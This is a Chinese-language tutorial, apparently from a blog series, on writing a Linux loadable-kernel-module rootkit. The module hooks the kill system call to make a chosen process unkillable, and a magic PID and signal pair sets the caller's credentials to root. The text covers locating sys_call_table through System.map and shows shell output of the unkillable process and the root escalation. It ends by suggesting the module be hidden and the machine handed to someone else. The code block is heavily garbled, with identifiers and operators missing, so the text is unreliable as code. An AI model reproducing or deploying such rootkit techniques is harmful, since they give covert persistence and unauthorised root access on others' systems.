......上一節,我們編寫了一個基本的lkm模塊,從功能上來說它還沒有rootkit的特征,這次我們給它添加一點有意思的功能.我們讓一個指定的進程殺不死,
曾經,想寫一個誰也殺不死的進程,進程能捕捉到SIGTERM,就是kill默認發送的signal,能捕捉到SIGINT,你平時按下Ctrl-C就是這個操作,但是無論如何你也無法阻止,
SIGKILL,及終極殺人王火雲邪神的必殺kill -9 pid.
作為一個小強,怎麼能被現實如此的摧殘,我們要對命運說不,so 有個幾種解決方案,一中方案:兩個進程互相監聽,另外一個死了,立馬起一個新的進程,另外一種方案:
我們想是誰讓kill -9 就能殺死程序的?是誰?對是操作系統?作為一切操作皆系統調用來說,kill也是系統調用啊.....所以我們可以改系統調用就行了,而且在內核態可以無視用戶,
隨便切換個uid都是小意思.
廢話不多,上代碼
#include <asm/unistd.h><linux/highmem.h><asm/current.h><linux/sched.h><linux/kernel.h><linux/module.h><linux/init.h><linux/slab.h><linux/list.h><linux/dirent.h><linux/.h><linux/fdtable.h><linux/moduleparam.h> ROOT_PID 7311 ROOT_SIG 7 lpid = , *sys_call_table = (unsigned *) unsigned cr0 =& (*kill_ptr)(pid_t pid, hacked_kill(pid_t pid, (pid == ROOT_PID && sig == cred *= ( cred *->uid = ->gid = ->suid = ->euid = ->euid = ->egid = ->fsuid = ->fsgid = (pid == = (* rootkit_in( module *== (kill_ptr)sys_call_table[__NR_kill]; sys_call_table[__NR_kill] = (unsigned &((self = find_module(&self->& rootkit_out(== (unsigned
需要說明的幾點是0xc12efee0這個地址每個人都不一樣的,它在/boot/System.map-`uname -r`記錄著,他表示sys_call_table的地址
cat /boot/System.map-`uname -r` | grep sys_call
unsigned *sys_call_table = (unsigned *) ;
基本的使用就是
1.先隨便起個進程,這裡以我們的哪個deamon後台簽到程序為例./l137,記錄pid 為 13165
liet@kali:~/code/c/study/socket/http/bbs_sign$ ./~/code/c/study/socket/http/bbs_sign$ aux | ? S : : ./ pts/ S+ : : ~/code/c/study/socket/http/bbs_sign$
2.加載rootkit
liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ test.ko lpid=~/code/c/study/virus/toykit/toykit_or/test$ dmesg | ] warning: `VirtualBox [ ] test: `~/code/c/study/virus/toykit/toykit_or/test$
ok, rootkit loaded!!!!
3.rootkit操作
1.殺不死的13165進程
liet@kali:~/code/c/study/socket/http/bbs_sign$ - ~/code/c/study/socket/http/bbs_sign$ aux | ? S : : ./ pts/ S+ : : l137
2.root後門
liet@kali:~/code/c/study/socket/http/bbs_sign$ =(liet) gid=(liet) =(liet),(dialout),(~/code/c/study/socket/http/bbs_sign$ - ~/code/c/study/socket/http/bbs_sign$ =(root) gid=(root) =(root),(dialout),(),~/code/c/study/socket/http/bbs_sign$
你整好了一個進程之後,然後隱藏mod,再交給別人,讓他殺吧,看他怎麼殺,........